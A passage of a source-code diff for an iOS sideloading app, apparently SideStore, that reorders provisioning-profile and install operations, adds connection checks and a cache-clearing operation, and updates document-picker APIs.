||||
}
|
||||
auto_mount_dev_image()
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -307,6 +307,16 @@ extension AppManager
|
||||
presentingViewController.present(alertController, animated: true, completion: nil)
|
||||
}
|
||||
}
|
||||
|
||||
func clearAppCache(completion: @escaping (Result<Void, Error>) -> Void)
|
||||
{
|
||||
let clearAppCacheOperation = ClearAppCacheOperation()
|
||||
clearAppCacheOperation.resultHandler = { result in
|
||||
completion(result)
|
||||
}
|
||||
|
||||
self.run([clearAppCacheOperation], context: nil)
|
||||
}
|
||||
}
|
||||
|
||||
extension AppManager
|
||||
@@ -392,7 +402,8 @@ extension AppManager
|
||||
func fetchAppIDs(completionHandler: @escaping (Result<([AppID], NSManagedObjectContext), Error>) -> Void)
|
||||
{
|
||||
let authenticationOperation = self.authenticate(presentingViewController: nil) { (result) in
|
||||
print("Authenticated for fetching App IDs with result:", result)
|
||||
// result contains name, email, auth token, OTP and other possibly personal/account specific info. we don't want this logged
|
||||
//print("Authenticated for fetching App IDs with result:", result)
|
||||
}
|
||||
|
||||
let fetchAppIDsOperation = FetchAppIDsOperation(context: authenticationOperation.context)
|
||||
@@ -753,6 +764,12 @@ extension AppManager
|
||||
let progress = self.refreshProgress[app.bundleIdentifier]
|
||||
return progress
|
||||
}
|
||||
|
||||
func isActivelyManagingApp(withBundleID bundleID: String) -> Bool
|
||||
{
|
||||
let isActivelyManaging = self.installationProgress.keys.contains(bundleID) || self.refreshProgress.keys.contains(bundleID)
|
||||
return isActivelyManaging
|
||||
}
|
||||
}
|
||||
|
||||
extension AppManager
|
||||
@@ -807,12 +824,6 @@ private extension AppManager
|
||||
}
|
||||
}
|
||||
|
||||
func isActivelyManagingApp(withBundleID bundleID: String) -> Bool
|
||||
{
|
||||
let isActivelyManaging = self.installationProgress.keys.contains(bundleID) || self.refreshProgress.keys.contains(bundleID)
|
||||
return isActivelyManaging
|
||||
}
|
||||
|
||||
@discardableResult
|
||||
private func perform(_ operations: [AppOperation], presentingViewController: UIViewController?, group: RefreshGroup) -> RefreshGroup
|
||||
{
|
||||
@@ -875,7 +886,9 @@ private extension AppManager
|
||||
|
||||
if app.certificateSerialNumber != group.context.certificate?.serialNumber ||
|
||||
uti != nil ||
|
||||
app.needsResign
|
||||
app.needsResign ||
|
||||
// We need to reinstall ourselves on refresh to ensure the new provisioning profile is used
|
||||
app.bundleIdentifier == StoreApp.altstoreAppID
|
||||
{
|
||||
// Resign app instead of just refreshing profiles because either:
|
||||
// * Refreshing using different certificate
|
||||
@@ -945,7 +958,13 @@ private extension AppManager
|
||||
}
|
||||
else
|
||||
{
|
||||
DispatchQueue.main.schedule {
|
||||
UIApplication.shared.isIdleTimerDisabled = UserDefaults.standard.isIdleTimeoutDisableEnabled
|
||||
}
|
||||
performAppOperations()
|
||||
DispatchQueue.main.schedule {
|
||||
UIApplication.shared.isIdleTimerDisabled = false
|
||||
}
|
||||
}
|
||||
|
||||
return group
|
||||
@@ -1024,6 +1043,32 @@ private extension AppManager
|
||||
verifyOperation.addDependency(downloadOperation)
|
||||
|
||||
|
||||
/* Refresh Anisette Data */
|
||||
let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
|
||||
refreshAnisetteDataOperation.resultHandler = { (result) in
|
||||
switch result
|
||||
{
|
||||
case .failure(let error): context.error = error
|
||||
case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
|
||||
}
|
||||
}
|
||||
refreshAnisetteDataOperation.addDependency(verifyOperation)
|
||||
|
||||
|
||||
/* Fetch Provisioning Profiles */
|
||||
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
|
||||
fetchProvisioningProfilesOperation.additionalEntitlements = additionalEntitlements
|
||||
fetchProvisioningProfilesOperation.resultHandler = { (result) in
|
||||
switch result
|
||||
{
|
||||
case .failure(let error): context.error = error
|
||||
case .success(let provisioningProfiles): context.provisioningProfiles = provisioningProfiles
|
||||
}
|
||||
}
|
||||
fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
|
||||
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 5)
|
||||
|
||||
|
||||
/* Deactivate Apps (if necessary) */
|
||||
let deactivateAppsOperation = RSTAsyncBlockOperation { [weak self] (operation) in
|
||||
do
|
||||
@@ -1039,6 +1084,12 @@ private extension AppManager
|
||||
{
|
||||
throw error
|
||||
}
|
||||
|
||||
guard let profiles = context.provisioningProfiles else { throw OperationError.invalidParameters }
|
||||
if !profiles.contains(where: { $1.isFreeProvisioningProfile == true }) {
|
||||
operation.finish()
|
||||
return
|
||||
}
|
||||
|
||||
guard let app = context.app, let presentingViewController = context.authenticatedContext.presentingViewController else { throw OperationError.invalidParameters }
|
||||
|
||||
@@ -1058,7 +1109,7 @@ private extension AppManager
|
||||
operation.finish()
|
||||
}
|
||||
}
|
||||
deactivateAppsOperation.addDependency(verifyOperation)
|
||||
deactivateAppsOperation.addDependency(fetchProvisioningProfilesOperation)
|
||||
|
||||
|
||||
/* Patch App */
|
||||
@@ -1133,32 +1184,6 @@ private extension AppManager
|
||||
patchAppOperation.addDependency(deactivateAppsOperation)
|
||||
|
||||
|
||||
/* Refresh Anisette Data */
|
||||
let refreshAnisetteDataOperation = FetchAnisetteDataOperation(context: group.context)
|
||||
refreshAnisetteDataOperation.resultHandler = { (result) in
|
||||
switch result
|
||||
{
|
||||
case .failure(let error): context.error = error
|
||||
case .success(let anisetteData): group.context.session?.anisetteData = anisetteData
|
||||
}
|
||||
}
|
||||
refreshAnisetteDataOperation.addDependency(patchAppOperation)
|
||||
|
||||
|
||||
/* Fetch Provisioning Profiles */
|
||||
let fetchProvisioningProfilesOperation = FetchProvisioningProfilesOperation(context: context)
|
||||
fetchProvisioningProfilesOperation.additionalEntitlements = additionalEntitlements
|
||||
fetchProvisioningProfilesOperation.resultHandler = { (result) in
|
||||
switch result
|
||||
{
|
||||
case .failure(let error): context.error = error
|
||||
case .success(let provisioningProfiles): context.provisioningProfiles = provisioningProfiles
|
||||
}
|
||||
}
|
||||
fetchProvisioningProfilesOperation.addDependency(refreshAnisetteDataOperation)
|
||||
progress.addChild(fetchProvisioningProfilesOperation.progress, withPendingUnitCount: 5)
|
||||
|
||||
|
||||
/* Resign */
|
||||
let resignAppOperation = ResignAppOperation(context: context)
|
||||
resignAppOperation.resultHandler = { (result) in
|
||||
@@ -1168,7 +1193,7 @@ private extension AppManager
|
||||
case .success(let resignedApp): context.resignedApp = resignedApp
|
||||
}
|
||||
}
|
||||
resignAppOperation.addDependency(fetchProvisioningProfilesOperation)
|
||||
resignAppOperation.addDependency(patchAppOperation)
|
||||
progress.addChild(resignAppOperation.progress, withPendingUnitCount: 20)
|
||||
|
||||
|
||||
@@ -1211,7 +1236,7 @@ private extension AppManager
|
||||
progress.addChild(installOperation.progress, withPendingUnitCount: 30)
|
||||
installOperation.addDependency(sendAppOperation)
|
||||
|
||||
let operations = [downloadOperation, verifyOperation, deactivateAppsOperation, patchAppOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, resignAppOperation, sendAppOperation, installOperation]
|
||||
let operations = [downloadOperation, verifyOperation, refreshAnisetteDataOperation, fetchProvisioningProfilesOperation, deactivateAppsOperation, patchAppOperation, resignAppOperation, sendAppOperation, installOperation]
|
||||
group.add(operations)
|
||||
self.run(operations, context: group.context)
|
||||
|
||||
|
||||
@@ -10,10 +10,12 @@ import UIKit
|
||||
import MobileCoreServices
|
||||
import Intents
|
||||
import Combine
|
||||
import UniformTypeIdentifiers
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import Roxas
|
||||
import minimuxer
|
||||
|
||||
import Nuke
|
||||
|
||||
@@ -327,21 +329,25 @@ private extension MyAppsViewController
|
||||
let currentDate = Date()
|
||||
|
||||
let numberOfDays = installedApp.expirationDate.numberOfCalendarDays(since: currentDate)
|
||||
let numberOfDaysText: String
|
||||
|
||||
if numberOfDays == 1
|
||||
{
|
||||
numberOfDaysText = NSLocalizedString("1 day", comment: "")
|
||||
}
|
||||
else
|
||||
{
|
||||
numberOfDaysText = String(format: NSLocalizedString("%@ days", comment: ""), NSNumber(value: numberOfDays))
|
||||
}
|
||||
let formatter = DateComponentsFormatter()
|
||||
formatter.unitsStyle = .full
|
||||
formatter.includesApproximationPhrase = false
|
||||
formatter.includesTimeRemainingPhrase = false
|
||||
|
||||
formatter.allowedUnits = [.day, .hour, .minute]
|
||||
|
||||
formatter.maximumUnitCount = 1
|
||||
|
||||
|
||||
|
||||
cell.bannerView.button.setTitle(formatter.string(from: currentDate, to: installedApp.expirationDate)?.uppercased(), for: .normal)
|
||||
|
||||
cell.bannerView.button.setTitle(numberOfDaysText.uppercased(), for: .normal)
|
||||
cell.bannerView.button.accessibilityLabel = String(format: NSLocalizedString("Refresh %@", comment: ""), installedApp.name)
|
||||
|
||||
cell.bannerView.accessibilityLabel? += ". " + String(format: NSLocalizedString("Expires in %@", comment: ""), numberOfDaysText)
|
||||
|
||||
formatter.includesTimeRemainingPhrase = true
|
||||
|
||||
cell.bannerView.accessibilityLabel? += ". " + (formatter.string(from: currentDate, to: installedApp.expirationDate) ?? NSLocalizedString("Unknown", comment: "")) + " "
|
||||
|
||||
// Make sure refresh button is correct size.
|
||||
cell.layoutIfNeeded()
|
||||
@@ -639,6 +645,12 @@ private extension MyAppsViewController
|
||||
|
||||
@IBAction func refreshAllApps(_ sender: UIBarButtonItem)
|
||||
{
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
|
||||
self.isRefreshingAllApps = true
|
||||
self.collectionView.collectionViewLayout.invalidateLayout()
|
||||
|
||||
@@ -701,18 +713,15 @@ private extension MyAppsViewController
|
||||
|
||||
@IBAction func sideloadApp(_ sender: UIBarButtonItem)
|
||||
{
|
||||
let supportedTypes: [String]
|
||||
|
||||
if let types = UTTypeCreateAllIdentifiersForTag(kUTTagClassFilenameExtension, "ipa" as CFString, nil)?.takeRetainedValue()
|
||||
{
|
||||
supportedTypes = (types as NSArray).map { $0 as! String }
|
||||
}
|
||||
else
|
||||
{
|
||||
supportedTypes = ["com.apple.itunes.ipa"] // Declared by the system.
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
|
||||
let supportedTypes = UTType.types(tag: "ipa", tagClass: .filenameExtension, conformingTo: nil)
|
||||
|
||||
let documentPickerViewController = UIDocumentPickerViewController(documentTypes: supportedTypes, in: .import)
|
||||
let documentPickerViewController = UIDocumentPickerViewController(forOpeningContentTypes: supportedTypes, asCopy: true)
|
||||
documentPickerViewController.delegate = self
|
||||
self.present(documentPickerViewController, animated: true, completion: nil)
|
||||
}
|
||||
@@ -1014,6 +1023,12 @@ private extension MyAppsViewController
|
||||
|
||||
func refresh(_ installedApp: InstalledApp)
|
||||
{
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
|
||||
let previousProgress = AppManager.shared.refreshProgress(for: installedApp)
|
||||
guard previousProgress == nil else {
|
||||
previousProgress?.cancel()
|
||||
@@ -1035,6 +1050,12 @@ private extension MyAppsViewController
|
||||
|
||||
func activate(_ installedApp: InstalledApp)
|
||||
{
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
|
||||
func finish(_ result: Result<InstalledApp, Error>)
|
||||
{
|
||||
do
|
||||
@@ -1111,6 +1132,11 @@ private extension MyAppsViewController
|
||||
func deactivate(_ installedApp: InstalledApp, completionHandler: ((Result<InstalledApp, Error>) -> Void)? = nil)
|
||||
{
|
||||
guard installedApp.isActive else { return }
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
installedApp.isActive = false
|
||||
|
||||
AppManager.shared.deactivate(installedApp, presentingViewController: self) { (result) in
|
||||
@@ -1172,6 +1198,11 @@ private extension MyAppsViewController
|
||||
|
||||
func backup(_ installedApp: InstalledApp)
|
||||
{
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
let title = NSLocalizedString("Start Backup?", comment: "")
|
||||
let message = NSLocalizedString("This will replace any previous backups. Please leave SideStore open until the backup is complete.", comment: "")
|
||||
|
||||
@@ -1211,6 +1242,11 @@ private extension MyAppsViewController
|
||||
|
||||
func restore(_ installedApp: InstalledApp)
|
||||
{
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
let message = String(format: NSLocalizedString("This will replace all data you currently have in %@.", comment: ""), installedApp.name)
|
||||
let alertController = UIAlertController(title: NSLocalizedString("Are you sure you want to restore this backup?", comment: ""), message: message, preferredStyle: .actionSheet)
|
||||
alertController.addAction(.cancel)
|
||||
@@ -1246,8 +1282,11 @@ private extension MyAppsViewController
|
||||
{
|
||||
guard let backupURL = FileManager.default.backupDirectoryURL(for: installedApp) else { return }
|
||||
|
||||
let documentPicker = UIDocumentPickerViewController(url: backupURL, in: .exportToService)
|
||||
documentPicker.delegate = self
|
||||
let documentPicker = UIDocumentPickerViewController(forExporting: [backupURL], asCopy: true)
|
||||
|
||||
// Don't set delegate to avoid conflicting with import callbacks.
|
||||
// documentPicker.delegate = self
|
||||
|
||||
self.present(documentPicker, animated: true, completion: nil)
|
||||
}
|
||||
|
||||
@@ -1311,6 +1350,16 @@ private extension MyAppsViewController
|
||||
@available(iOS 14, *)
|
||||
func enableJIT(for installedApp: InstalledApp)
|
||||
{
|
||||
if #available(iOS 17, *) {
|
||||
let toastView = ToastView(error: OperationError.tooNewError)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
if !minimuxer.ready() {
|
||||
let toastView = ToastView(error: MinimuxerError.NoConnection)
|
||||
toastView.show(in: self)
|
||||
return
|
||||
}
|
||||
AppManager.shared.enableJIT(for: installedApp) { result in
|
||||
DispatchQueue.main.async {
|
||||
switch result
|
||||
@@ -1318,7 +1367,7 @@ private extension MyAppsViewController
|
||||
case .success: break
|
||||
case .failure(let error):
|
||||
let toastView = ToastView(error: error)
|
||||
toastView.show(in: self)
|
||||
toastView.show(in: self.navigationController?.view ?? self.view, duration: 5)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1465,7 +1514,7 @@ extension MyAppsViewController
|
||||
let registeredAppIDs = team.appIDs.count
|
||||
|
||||
let maximumAppIDCount = 10
|
||||
let remainingAppIDs = max(maximumAppIDCount - registeredAppIDs, 0)
|
||||
let remainingAppIDs = maximumAppIDCount - registeredAppIDs
|
||||
|
||||
if remainingAppIDs == 1
|
||||
{
|
||||
@@ -1476,7 +1525,7 @@ extension MyAppsViewController
|
||||
footerView.textLabel.text = String(format: NSLocalizedString("%@ App IDs Remaining", comment: ""), NSNumber(value: remainingAppIDs))
|
||||
}
|
||||
|
||||
footerView.textLabel.isHidden = false
|
||||
footerView.textLabel.isHidden = remainingAppIDs < 0
|
||||
|
||||
case .individual, .organization, .unknown: footerView.textLabel.isHidden = true
|
||||
@unknown default: break
|
||||
@@ -2050,15 +2099,8 @@ extension MyAppsViewController: UIDocumentPickerDelegate
|
||||
{
|
||||
guard let fileURL = urls.first else { return }
|
||||
|
||||
switch controller.documentPickerMode
|
||||
{
|
||||
case .import, .open:
|
||||
self.sideloadApp(at: fileURL) { (result) in
|
||||
print("Sideloaded app at \(fileURL) with result:", result)
|
||||
}
|
||||
|
||||
case .exportToService, .moveToService: break
|
||||
@unknown default: break
|
||||
self.sideloadApp(at: fileURL) { (result) in
|
||||
print("Sideloaded app at \(fileURL) with result:", result)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -426,6 +426,10 @@ extension NewsViewController: UICollectionViewDelegateFlowLayout
|
||||
return previousSize
|
||||
}
|
||||
|
||||
// Take layout margins into account.
|
||||
self.prototypeCell.layoutMargins.left = self.view.layoutMargins.left
|
||||
self.prototypeCell.layoutMargins.right = self.view.layoutMargins.right
|
||||
|
||||
let widthConstraint = self.prototypeCell.contentView.widthAnchor.constraint(equalToConstant: collectionView.bounds.width)
|
||||
NSLayoutConstraint.activate([widthConstraint])
|
||||
defer { NSLayoutConstraint.deactivate([widthConstraint]) }
|
||||
|
||||
@@ -12,6 +12,7 @@ import Network
|
||||
|
||||
import AltStoreCore
|
||||
import AltSign
|
||||
import minimuxer
|
||||
|
||||
enum AuthenticationError: LocalizedError
|
||||
{
|
||||
@@ -239,7 +240,7 @@ final class AuthenticationOperation: ResultOperation<(ALTTeam, ALTCertificate, A
|
||||
}
|
||||
|
||||
let activeAppsMinimumVersion = OperatingSystemVersion(majorVersion: 13, minorVersion: 3, patchVersion: 1)
|
||||
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion)
|
||||
if team.type == .free, ProcessInfo.processInfo.isOperatingSystemAtLeast(activeAppsMinimumVersion), !UserDefaults.standard.isMDCEnabled
|
||||
{
|
||||
UserDefaults.standard.activeAppsLimit = ALTActiveAppsLimit
|
||||
}
|
||||
@@ -593,7 +594,7 @@ private extension AuthenticationOperation
|
||||
|
||||
func registerCurrentDevice(for team: ALTTeam, session: ALTAppleAPISession, completionHandler: @escaping (Result<ALTDevice, Error>) -> Void)
|
||||
{
|
||||
guard let udid = Bundle.main.object(forInfoDictionaryKey: Bundle.Info.deviceID) as? String else {
|
||||
guard let udid = fetch_udid()?.toString() else {
|
||||
return completionHandler(.failure(OperationError.unknownUDID))
|
||||
}
|
||||
|
||||
|
||||
@@ -11,6 +11,7 @@ import CoreData
|
||||
|
||||
import AltStoreCore
|
||||
import EmotionalDamage
|
||||
import minimuxer
|
||||
|
||||
enum RefreshError: LocalizedError
|
||||
{
|
||||
@@ -97,7 +98,20 @@ final class BackgroundRefreshAppsOperation: ResultOperation<[String: Result<Inst
|
||||
return
|
||||
}
|
||||
start_em_proxy(bind_addr: Consts.Proxy.serverURL)
|
||||
|
||||
target_minimuxer_address()
|
||||
let documentsDirectory = FileManager.default.documentsDirectory.absoluteString
|
||||
do {
|
||||
try minimuxer.start(try String(contentsOf: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)")), documentsDirectory)
|
||||
} catch {
|
||||
self.finish(.failure(error))
|
||||
}
|
||||
if #available(iOS 17, *) {
|
||||
// TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
|
||||
}
|
||||
else {
|
||||
start_auto_mounter(documentsDirectory)
|
||||
}
|
||||
|
||||
self.managedObjectContext.perform {
|
||||
print("Apps to refresh:", self.installedApps.map(\.bundleIdentifier))
|
||||
|
||||
|
||||
@@ -29,6 +29,9 @@ class BackupAppOperation: ResultOperation<Void>
|
||||
private var appName: String?
|
||||
private var timeoutTimer: Timer?
|
||||
|
||||
private weak var applicationWillReturnObserver: NSObjectProtocol?
|
||||
private weak var backupResponseObserver: NSObjectProtocol?
|
||||
|
||||
init(action: Action, context: InstallAppOperationContext)
|
||||
{
|
||||
self.action = action
|
||||
@@ -43,10 +46,7 @@ class BackupAppOperation: ResultOperation<Void>
|
||||
|
||||
do
|
||||
{
|
||||
if let error = self.context.error
|
||||
{
|
||||
throw error
|
||||
}
|
||||
if let error = self.context.error { throw error }
|
||||
|
||||
guard let installedApp = self.context.installedApp, let context = installedApp.managedObjectContext else { throw OperationError.invalidParameters }
|
||||
context.perform {
|
||||
@@ -55,9 +55,8 @@ class BackupAppOperation: ResultOperation<Void>
|
||||
let appName = installedApp.name
|
||||
self.appName = appName
|
||||
|
||||
guard let altstoreApp = InstalledApp.fetchAltStore(in: context) else { throw OperationError.appNotFound }
|
||||
let altstoreOpenURL = altstoreApp.openAppURL
|
||||
|
||||
let altstoreOpenURL = URL(string: "sidestore://")!
|
||||
|
||||
var returnURLComponents = URLComponents(url: altstoreOpenURL, resolvingAgainstBaseURL: false)
|
||||
returnURLComponents?.host = "appBackupResponse"
|
||||
guard let returnURL = returnURLComponents?.url else { throw OperationError.openAppFailed(name: appName) }
|
||||
@@ -153,8 +152,11 @@ private extension BackupAppOperation
|
||||
{
|
||||
func registerObservers()
|
||||
{
|
||||
var applicationWillReturnObserver: NSObjectProtocol!
|
||||
applicationWillReturnObserver = NotificationCenter.default.addObserver(forName: UIApplication.willEnterForegroundNotification, object: nil, queue: .main) { [weak self] (notification) in
|
||||
self.applicationWillReturnObserver = NotificationCenter.default.addObserver(forName: UIApplication.willEnterForegroundNotification, object: nil, queue: .main) { [weak self] (notification) in
|
||||
defer {
|
||||
self?.applicationWillReturnObserver.map { NotificationCenter.default.removeObserver($0) }
|
||||
}
|
||||
|
||||
guard let self = self, !self.isFinished else { return }
|
||||
|
||||
self.timeoutTimer = Timer.scheduledTimer(withTimeInterval: 5, repeats: false) { [weak self] (timer) in
|
||||
@@ -166,18 +168,17 @@ private extension BackupAppOperation
|
||||
self.finish(.failure(OperationError.timedOut))
|
||||
}
|
||||
}
|
||||
|
||||
NotificationCenter.default.removeObserver(applicationWillReturnObserver!)
|
||||
}
|
||||
|
||||
var backupResponseObserver: NSObjectProtocol!
|
||||
backupResponseObserver = NotificationCenter.default.addObserver(forName: AppDelegate.appBackupDidFinish, object: nil, queue: nil) { [weak self] (notification) in
|
||||
self.backupResponseObserver = NotificationCenter.default.addObserver(forName: AppDelegate.appBackupDidFinish, object: nil, queue: nil) { [weak self] (notification) in
|
||||
defer {
|
||||
self?.backupResponseObserver.map { NotificationCenter.default.removeObserver($0) }
|
||||
}
|
||||
|
||||
self?.timeoutTimer?.invalidate()
|
||||
|
||||
let result = notification.userInfo?[AppDelegate.appBackupResultKey] as? Result<Void, Error> ?? .failure(OperationError.unknownResult)
|
||||
self?.finish(result)
|
||||
|
||||
NotificationCenter.default.removeObserver(backupResponseObserver!)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
208
AltStore/Operations/ClearAppCacheOperation.swift
Normal file
@@ -0,0 +1,208 @@
|
||||
//
|
||||
// ClearAppCacheOperation.swift
|
||||
// AltStore
|
||||
//
|
||||
// Created by Riley Testut on 9/27/22.
|
||||
// Copyright © 2022 Riley Testut. All rights reserved.
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import AltStoreCore
|
||||
/*
|
||||
struct BatchError: ALTLocalizedError
|
||||
{
|
||||
|
||||
enum Code: Int, ALTErrorCode
|
||||
{
|
||||
typealias Error = BatchError
|
||||
|
||||
case batchError
|
||||
}
|
||||
|
||||
var code: Code = .batchError
|
||||
var underlyingErrors: [Error]
|
||||
|
||||
var errorTitle: String?
|
||||
var errorFailure: String?
|
||||
|
||||
init(errors: [Error])
|
||||
{
|
||||
self.underlyingErrors = errors
|
||||
}
|
||||
|
||||
var errorFailureReason: String {
|
||||
guard !self.underlyingErrors.isEmpty else { return NSLocalizedString("An unknown error occured.", comment: "") }
|
||||
|
||||
let errorMessages = self.underlyingErrors.map { $0.localizedDescription }
|
||||
|
||||
let message = errorMessages.joined(separator: "\n\n")
|
||||
return message
|
||||
}
|
||||
}
|
||||
*/
|
||||
@objc(ClearAppCacheOperation)
|
||||
class ClearAppCacheOperation: ResultOperation<Void>
|
||||
{
|
||||
private let coordinator = NSFileCoordinator()
|
||||
private let coordinatorQueue = OperationQueue()
|
||||
|
||||
override init()
|
||||
{
|
||||
self.coordinatorQueue.name = "AltStore - ClearAppCacheOperation Queue"
|
||||
}
|
||||
|
||||
override func main()
|
||||
{
|
||||
super.main()
|
||||
|
||||
var allErrors = [Error]()
|
||||
|
||||
self.clearTemporaryDirectory { result in
|
||||
switch result
|
||||
{
|
||||
//case .failure(let batchError as BatchError): allErrors.append(contentsOf: batchError.underlyingErrors)
|
||||
case .failure(let error): allErrors.append(error)
|
||||
case .success: break
|
||||
}
|
||||
|
||||
self.removeUninstalledAppBackupDirectories { result in
|
||||
switch result
|
||||
{
|
||||
//case .failure(let batchError as BatchError): allErrors.append(contentsOf: batchError.underlyingErrors)
|
||||
case .failure(let error): allErrors.append(error)
|
||||
case .success: break
|
||||
}
|
||||
|
||||
if allErrors.isEmpty
|
||||
{
|
||||
self.finish(.success(()))
|
||||
}
|
||||
else
|
||||
{
|
||||
self.finish(.failure(OperationError.cacheClearError(errors: allErrors.map({ error in
|
||||
return error.localizedDescription
|
||||
}))))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
private extension ClearAppCacheOperation
|
||||
{
|
||||
func clearTemporaryDirectory(completion: @escaping (Result<Void, Error>) -> Void)
|
||||
{
|
||||
let intent = NSFileAccessIntent.writingIntent(with: FileManager.default.temporaryDirectory, options: [.forDeleting])
|
||||
self.coordinator.coordinate(with: [intent], queue: self.coordinatorQueue) { (error) in
|
||||
do
|
||||
{
|
||||
if let error
|
||||
{
|
||||
throw error
|
||||
}
|
||||
|
||||
let fileURLs = try FileManager.default.contentsOfDirectory(at: intent.url,
|
||||
includingPropertiesForKeys: [],
|
||||
options: [.skipsSubdirectoryDescendants, .skipsHiddenFiles])
|
||||
var errors = [Error]()
|
||||
|
||||
for fileURL in fileURLs
|
||||
{
|
||||
do
|
||||
{
|
||||
print("[ALTLog] Removing item from temporary directory:", fileURL.lastPathComponent)
|
||||
try FileManager.default.removeItem(at: fileURL)
|
||||
}
|
||||
catch
|
||||
{
|
||||
print("[ALTLog] Failed to remove \(fileURL.lastPathComponent) from temporary directory.", error)
|
||||
errors.append(error)
|
||||
}
|
||||
}
|
||||
|
||||
if !errors.isEmpty
|
||||
{
|
||||
completion(.failure(OperationError.cacheClearError(errors: errors.map({ error in
|
||||
return error.localizedDescription
|
||||
}))))
|
||||
}
|
||||
else
|
||||
{
|
||||
completion(.success(()))
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
completion(.failure(error))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func removeUninstalledAppBackupDirectories(completion: @escaping (Result<Void, Error>) -> Void)
|
||||
{
|
||||
guard let backupsDirectory = FileManager.default.appBackupsDirectory else { return completion(.failure(OperationError.missingAppGroup)) }
|
||||
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { context in
|
||||
let installedAppBundleIDs = Set(InstalledApp.all(in: context).map { $0.bundleIdentifier })
|
||||
|
||||
let intent = NSFileAccessIntent.writingIntent(with: backupsDirectory, options: [.forDeleting])
|
||||
self.coordinator.coordinate(with: [intent], queue: self.coordinatorQueue) { (error) in
|
||||
do
|
||||
{
|
||||
if let error
|
||||
{
|
||||
throw error
|
||||
}
|
||||
|
||||
var isDirectory: ObjCBool = false
|
||||
guard FileManager.default.fileExists(atPath: intent.url.path, isDirectory: &isDirectory), isDirectory.boolValue else {
|
||||
completion(.success(()))
|
||||
return
|
||||
}
|
||||
|
||||
let fileURLs = try FileManager.default.contentsOfDirectory(at: intent.url,
|
||||
includingPropertiesForKeys: [.isDirectoryKey, .nameKey],
|
||||
options: [.skipsSubdirectoryDescendants, .skipsHiddenFiles])
|
||||
var errors = [Error]()
|
||||
|
||||
|
||||
for backupDirectory in fileURLs
|
||||
{
|
||||
do
|
||||
{
|
||||
let resourceValues = try backupDirectory.resourceValues(forKeys: [.isDirectoryKey, .nameKey])
|
||||
guard let isDirectory = resourceValues.isDirectory, let bundleID = resourceValues.name else { continue }
|
||||
|
||||
if isDirectory && !installedAppBundleIDs.contains(bundleID) && !AppManager.shared.isActivelyManagingApp(withBundleID: bundleID)
|
||||
{
|
||||
print("[ALTLog] Removing backup directory for uninstalled app:", bundleID)
|
||||
try FileManager.default.removeItem(at: backupDirectory)
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
print("[ALTLog] Failed to remove app backup directory:", error)
|
||||
errors.append(error)
|
||||
}
|
||||
}
|
||||
|
||||
if !errors.isEmpty
|
||||
{
|
||||
completion(.failure(OperationError.cacheClearError(errors: errors.map({ error in
|
||||
return error.localizedDescription
|
||||
}))))
|
||||
}
|
||||
else
|
||||
{
|
||||
completion(.success(()))
|
||||
}
|
||||
}
|
||||
catch
|
||||
{
|
||||
print("[ALTLog] Failed to remove app backup directory:", error)
|
||||
completion(.failure(error))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -31,11 +31,7 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
|
||||
{
|
||||
super.main()
|
||||
|
||||
if let error = self.context.error
|
||||
{
|
||||
self.finish(.failure(error))
|
||||
return
|
||||
}
|
||||
if let error = self.context.error { return self.finish(.failure(error)) }
|
||||
|
||||
DatabaseManager.shared.persistentContainer.performBackgroundTask { (context) in
|
||||
let installedApp = context.object(with: self.app.objectID) as! InstalledApp
|
||||
@@ -44,20 +40,15 @@ final class DeactivateAppOperation: ResultOperation<InstalledApp>
|
||||
|
||||
for profile in allIdentifiers {
|
||||
do {
|
||||
let res = try remove_provisioning_profile(id: profile)
|
||||
if case Uhoh.Bad(let code) = res {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
}
|
||||
} catch Uhoh.Bad(let code) {
|
||||
self.finish(.failure(minimuxer_to_operation(code: code)))
|
||||
try remove_provisioning_profile(profile)
|
||||
self.progress.completedUnitCount += 1
|
||||
installedApp.isActive = false
|
||||
self.finish(.success(installedApp))
|
||||
break
|
||||
} catch {
|
||||
self.finish(.failure(ALTServerError(.unknownResponse)))
|
||||
self.finish(.failure(error))
